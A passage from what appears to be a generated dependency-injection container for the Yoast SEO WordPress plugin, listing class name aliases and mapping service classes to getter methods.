            'yoast\\wp\\seo\\integrations\\front_end\\comment_link_fixer' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer',
            'yoast\\wp\\seo\\integrations\\front_end\\crawl_cleanup_basic' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic',
            'yoast\\wp\\seo\\integrations\\front_end\\crawl_cleanup_rss' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss',
            'yoast\\wp\\seo\\integrations\\front_end\\crawl_cleanup_searches' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches',
            'yoast\\wp\\seo\\integrations\\front_end\\feed_improvements' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements',
            'yoast\\wp\\seo\\integrations\\front_end\\force_rewrite_title' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title',
            'yoast\\wp\\seo\\integrations\\front_end\\handle_404' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404',
            'yoast\\wp\\seo\\integrations\\front_end\\indexing_controls' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls',
            'yoast\\wp\\seo\\integrations\\front_end\\open_graph_oembed' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed',
            'yoast\\wp\\seo\\integrations\\front_end\\redirects' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects',
            'yoast\\wp\\seo\\integrations\\front_end\\robots_txt_integration' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration',
            'yoast\\wp\\seo\\integrations\\front_end\\rss_footer_embed' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed',
            'yoast\\wp\\seo\\integrations\\front_end\\schema_accessibility_feature' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature',
            'yoast\\wp\\seo\\integrations\\front_end\\wp_robots_integration' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration',
            'yoast\\wp\\seo\\integrations\\front_end_integration' => 'Yoast\\WP\\SEO\\Integrations\\Front_End_Integration',
            'yoast\\wp\\seo\\integrations\\primary_category' => 'Yoast\\WP\\SEO\\Integrations\\Primary_Category',
            'yoast\\wp\\seo\\integrations\\settings_integration' => 'Yoast\\WP\\SEO\\Integrations\\Settings_Integration',
            'yoast\\wp\\seo\\integrations\\support_integration' => 'Yoast\\WP\\SEO\\Integrations\\Support_Integration',
            'yoast\\wp\\seo\\integrations\\third_party\\amp' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP',
            'yoast\\wp\\seo\\integrations\\third_party\\bbpress' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress',
            'yoast\\wp\\seo\\integrations\\third_party\\elementor' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor',
            'yoast\\wp\\seo\\integrations\\third_party\\exclude_elementor_post_types' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types',
            'yoast\\wp\\seo\\integrations\\third_party\\exclude_woocommerce_post_types' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types',
            'yoast\\wp\\seo\\integrations\\third_party\\jetpack' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack',
            'yoast\\wp\\seo\\integrations\\third_party\\w3_total_cache' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache',
            'yoast\\wp\\seo\\integrations\\third_party\\web_stories' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories',
            'yoast\\wp\\seo\\integrations\\third_party\\web_stories_post_edit' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit',
            'yoast\\wp\\seo\\integrations\\third_party\\wincher' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher',
            'yoast\\wp\\seo\\integrations\\third_party\\wincher_publish' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish',
            'yoast\\wp\\seo\\integrations\\third_party\\woocommerce' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce',
            'yoast\\wp\\seo\\integrations\\third_party\\woocommerce_permalinks' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks',
            'yoast\\wp\\seo\\integrations\\third_party\\woocommerce_post_edit' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit',
            'yoast\\wp\\seo\\integrations\\third_party\\wordproof' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof',
            'yoast\\wp\\seo\\integrations\\third_party\\wordproof_integration_toggle' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof_Integration_Toggle',
            'yoast\\wp\\seo\\integrations\\third_party\\wpml' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML',
            'yoast\\wp\\seo\\integrations\\third_party\\wpml_wpseo_notification' => 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification',
            'yoast\\wp\\seo\\integrations\\uninstall_integration' => 'Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration',
            'yoast\\wp\\seo\\integrations\\watchers\\addon_update_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\auto_update_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_ancestor_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_attachment_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_author_archive_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_author_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_category_permalink_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_date_archive_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_home_page_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_homeurl_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_permalink_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_post_meta_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_post_type_archive_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_post_type_change_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_post_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_static_home_page_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_system_page_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_taxonomy_change_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\indexable_term_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\option_titles_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\option_wpseo_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\primary_category_quick_edit_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\primary_term_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\search_engines_discouraged_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher',
            'yoast\\wp\\seo\\integrations\\watchers\\woocommerce_beta_editor_watcher' => 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher',
            'yoast\\wp\\seo\\integrations\\xmlrpc' => 'Yoast\\WP\\SEO\\Integrations\\XMLRPC',
            'yoast\\wp\\seo\\introductions\\application\\ai_generate_titles_and_descriptions_introduction_upsell' => 'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell',
            'yoast\\wp\\seo\\introductions\\application\\introductions_collector' => 'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector',
            'yoast\\wp\\seo\\introductions\\infrastructure\\wistia_embed_permission_repository' => 'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository',
            'yoast\\wp\\seo\\introductions\\user_interface\\introductions_integration' => 'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration',
            'yoast\\wp\\seo\\introductions\\user_interface\\introductions_seen_route' => 'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route',
            'yoast\\wp\\seo\\introductions\\user_interface\\wistia_embed_permission_route' => 'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route',
            'yoast\\wp\\seo\\loader' => 'Yoast\\WP\\SEO\\Loader',
            'yoast\\wp\\seo\\loggers\\logger' => 'Yoast\\WP\\SEO\\Loggers\\Logger',
            'yoast\\wp\\seo\\memoizers\\meta_tags_context_memoizer' => 'Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer',
            'yoast\\wp\\seo\\memoizers\\presentation_memoizer' => 'Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer',
            'yoast\\wp\\seo\\presentations\\abstract_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_author_archive_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_date_archive_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_error_page_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_home_page_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_post_type_archive_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_post_type_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_search_result_page_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_static_home_page_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_static_posts_page_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation',
            'yoast\\wp\\seo\\presentations\\indexable_term_archive_presentation' => 'Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation',
            'yoast\\wp\\seo\\promotions\\application\\promotion_manager' => 'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager',
            'yoast\\wp\\seo\\repositories\\indexable_cleanup_repository' => 'Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository',
            'yoast\\wp\\seo\\repositories\\indexable_hierarchy_repository' => 'Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository',
            'yoast\\wp\\seo\\repositories\\indexable_repository' => 'Yoast\\WP\\SEO\\Repositories\\Indexable_Repository',
            'yoast\\wp\\seo\\repositories\\primary_term_repository' => 'Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository',
            'yoast\\wp\\seo\\repositories\\seo_links_repository' => 'Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository',
            'yoast\\wp\\seo\\routes\\alert_dismissal_route' => 'Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route',
            'yoast\\wp\\seo\\routes\\first_time_configuration_route' => 'Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route',
            'yoast\\wp\\seo\\routes\\importing_route' => 'Yoast\\WP\\SEO\\Routes\\Importing_Route',
            'yoast\\wp\\seo\\routes\\indexables_head_route' => 'Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route',
            'yoast\\wp\\seo\\routes\\indexing_route' => 'Yoast\\WP\\SEO\\Routes\\Indexing_Route',
            'yoast\\wp\\seo\\routes\\integrations_route' => 'Yoast\\WP\\SEO\\Routes\\Integrations_Route',
            'yoast\\wp\\seo\\routes\\meta_search_route' => 'Yoast\\WP\\SEO\\Routes\\Meta_Search_Route',
            'yoast\\wp\\seo\\routes\\semrush_route' => 'Yoast\\WP\\SEO\\Routes\\SEMrush_Route',
            'yoast\\wp\\seo\\routes\\supported_features_route' => 'Yoast\\WP\\SEO\\Routes\\Supported_Features_Route',
            'yoast\\wp\\seo\\routes\\wincher_route' => 'Yoast\\WP\\SEO\\Routes\\Wincher_Route',
            'yoast\\wp\\seo\\routes\\workouts_route' => 'Yoast\\WP\\SEO\\Routes\\Workouts_Route',
            'yoast\\wp\\seo\\routes\\yoast_head_rest_field' => 'Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field',
            'yoast\\wp\\seo\\services\\health_check\\default_tagline_check' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check',
            'yoast\\wp\\seo\\services\\health_check\\default_tagline_reports' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports',
            'yoast\\wp\\seo\\services\\health_check\\default_tagline_runner' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner',
            'yoast\\wp\\seo\\services\\health_check\\links_table_check' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check',
            'yoast\\wp\\seo\\services\\health_check\\links_table_reports' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports',
            'yoast\\wp\\seo\\services\\health_check\\links_table_runner' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner',
            'yoast\\wp\\seo\\services\\health_check\\myyoast_api_request_factory' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory',
            'yoast\\wp\\seo\\services\\health_check\\page_comments_check' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check',
            'yoast\\wp\\seo\\services\\health_check\\page_comments_reports' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports',
            'yoast\\wp\\seo\\services\\health_check\\page_comments_runner' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner',
            'yoast\\wp\\seo\\services\\health_check\\postname_permalink_check' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check',
            'yoast\\wp\\seo\\services\\health_check\\postname_permalink_reports' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports',
            'yoast\\wp\\seo\\services\\health_check\\postname_permalink_runner' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner',
            'yoast\\wp\\seo\\services\\health_check\\report_builder' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder',
            'yoast\\wp\\seo\\services\\health_check\\report_builder_factory' => 'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory',
            'yoast\\wp\\seo\\services\\importing\\aioseo\\aioseo_replacevar_service' => 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service',
            'yoast\\wp\\seo\\services\\importing\\aioseo\\aioseo_robots_provider_service' => 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service',
            'yoast\\wp\\seo\\services\\importing\\aioseo\\aioseo_robots_transformer_service' => 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service',
            'yoast\\wp\\seo\\services\\importing\\aioseo\\aioseo_social_images_provider_service' => 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service',
            'yoast\\wp\\seo\\services\\importing\\conflicting_plugins_service' => 'Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service',
            'yoast\\wp\\seo\\services\\importing\\importable_detector_service' => 'Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service',
            'yoast\\wp\\seo\\services\\indexables\\indexable_version_manager' => 'Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager',
            'yoast\\wp\\seo\\surfaces\\classes_surface' => 'Yoast\\WP\\SEO\\Surfaces\\Classes_Surface',
            'yoast\\wp\\seo\\surfaces\\helpers_surface' => 'Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface',
            'yoast\\wp\\seo\\surfaces\\meta_surface' => 'Yoast\\WP\\SEO\\Surfaces\\Meta_Surface',
            'yoast\\wp\\seo\\surfaces\\open_graph_helpers_surface' => 'Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface',
            'yoast\\wp\\seo\\surfaces\\schema_helpers_surface' => 'Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface',
            'yoast\\wp\\seo\\surfaces\\twitter_helpers_surface' => 'Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface',
            'yoast\\wp\\seo\\user_meta\\application\\additional_contactmethods_collector' => 'Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector',
            'yoast\\wp\\seo\\user_meta\\application\\custom_meta_collector' => 'Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector',
            'yoast\\wp\\seo\\user_meta\\user_interface\\additional_contactmethods_integration' => 'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration',
            'yoast\\wp\\seo\\user_meta\\user_interface\\cleanup_integration' => 'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration',
            'yoast\\wp\\seo\\user_meta\\user_interface\\custom_meta_integration' => 'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration',
            'yoast\\wp\\seo\\user_profiles_additions\\user_interface\\user_profiles_additions_ui' => 'Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui',
            'yoast\\wp\\seo\\values\\images' => 'Yoast\\WP\\SEO\\Values\\Images',
            'yoast\\wp\\seo\\values\\indexables\\indexable_builder_versions' => 'Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions',
            'yoast\\wp\\seo\\values\\open_graph\\images' => 'Yoast\\WP\\SEO\\Values\\Open_Graph\\Images',
            'yoast\\wp\\seo\\values\\twitter\\images' => 'Yoast\\WP\\SEO\\Values\\Twitter\\Images',
            'yoast\\wp\\seo\\wrappers\\wp_query_wrapper' => 'Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper',
            'yoast\\wp\\seo\\wrappers\\wp_remote_handler' => 'Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler',
            'yoast\\wp\\seo\\wrappers\\wp_rewrite_wrapper' => 'Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper',
            'yoast_notification_center' => 'Yoast_Notification_Center',
            'yoastseo_vendor\\symfony\\component\\dependencyinjection\\containerinterface' => 'YoastSEO_Vendor\\YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface',
        ];
        $this->methodMap = [
            'WPSEO_Addon_Manager' => 'getWPSEOAddonManagerService',
            'WPSEO_Admin_Asset_Manager' => 'getWPSEOAdminAssetManagerService',
            'WPSEO_Breadcrumbs' => 'getWPSEOBreadcrumbsService',
            'WPSEO_Frontend' => 'getWPSEOFrontendService',
            'WPSEO_Replace_Vars' => 'getWPSEOReplaceVarsService',
            'WPSEO_Shortlinker' => 'getWPSEOShortlinkerService',
            'WPSEO_Utils' => 'getWPSEOUtilsService',
            'Yoast\\WP\\Lib\\Migrations\\Adapter' => 'getAdapterService',
            'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action' => 'getAddonActivateActionService',
            'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action' => 'getAddonInstallActionService',
            'Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action' => 'getAlertDismissalActionService',
            'Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action' => 'getFirstTimeConfigurationActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action' => 'getAioseoCleanupActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action' => 'getAioseoCustomArchiveSettingsImportingActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action' => 'getAioseoDefaultArchiveSettingsImportingActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action' => 'getAioseoGeneralSettingsImportingActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action' => 'getAioseoPostsImportingActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action' => 'getAioseoPosttypeDefaultsSettingsImportingActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action' => 'getAioseoTaxonomySettingsImportingActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action' => 'getAioseoValidateDataActionService',
            'Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action' => 'getDeactivateConflictingPluginsActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action' => 'getIndexableHeadActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action' => 'getIndexableGeneralIndexationActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action' => 'getIndexableIndexingCompleteActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action' => 'getIndexablePostIndexationActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action' => 'getIndexablePostTypeArchiveIndexationActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action' => 'getIndexableTermIndexationActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action' => 'getIndexingCompleteActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action' => 'getIndexingPrepareActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action' => 'getPostLinkIndexingActionService',
            'Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action' => 'getTermLinkIndexingActionService',
            'Yoast\\WP\\SEO\\Actions\\Integrations_Action' => 'getIntegrationsActionService',
            'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action' => 'getSEMrushLoginActionService',
            'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action' => 'getSEMrushOptionsActionService',
            'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action' => 'getSEMrushPhrasesActionService',
            'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action' => 'getWincherAccountActionService',
            'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action' => 'getWincherKeyphrasesActionService',
            'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action' => 'getWincherLoginActionService',
            'Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector' => 'getMissingIndexablesCollectorService',
            'Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector' => 'getToBeCleanedIndexablesCollectorService',
            'Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration' => 'getLastCompletedIndexationIntegrationService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder' => 'getIndexableAuthorBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Builder' => 'getIndexableBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder' => 'getIndexableDateArchiveBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder' => 'getIndexableHierarchyBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder' => 'getIndexableHomePageBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder' => 'getIndexableLinkBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder' => 'getIndexablePostBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder' => 'getIndexablePostTypeArchiveBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder' => 'getIndexableSystemPageBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder' => 'getIndexableTermBuilderService',
            'Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder' => 'getPrimaryTermBuilderService',
            'Yoast\\WP\\SEO\\Commands\\Cleanup_Command' => 'getCleanupCommandService',
            'Yoast\\WP\\SEO\\Commands\\Index_Command' => 'getIndexCommandService',
            'Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional' => 'getAddonInstallationConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional' => 'getDoingPostQuickEditSaveConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional' => 'getEstimatedReadingTimeConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional' => 'getLicensesPageConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional' => 'getNonNetworkAdminConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional' => 'getPostConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional' => 'getPostsOverviewOrAjaxConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional' => 'getYoastAdminConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional' => 'getAdminConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional' => 'getAttachmentRedirectionsEnabledConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional' => 'getCheckRequiredVersionConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional' => 'getDeactivatingYoastSeoConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Development_Conditional' => 'getDevelopmentConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional' => 'getFrontEndConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional' => 'getGetRequestConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional' => 'getHeadlessRestEndpointsEnabledConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional' => 'getImportToolSelectedConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional' => 'getJetpackConditionalService',
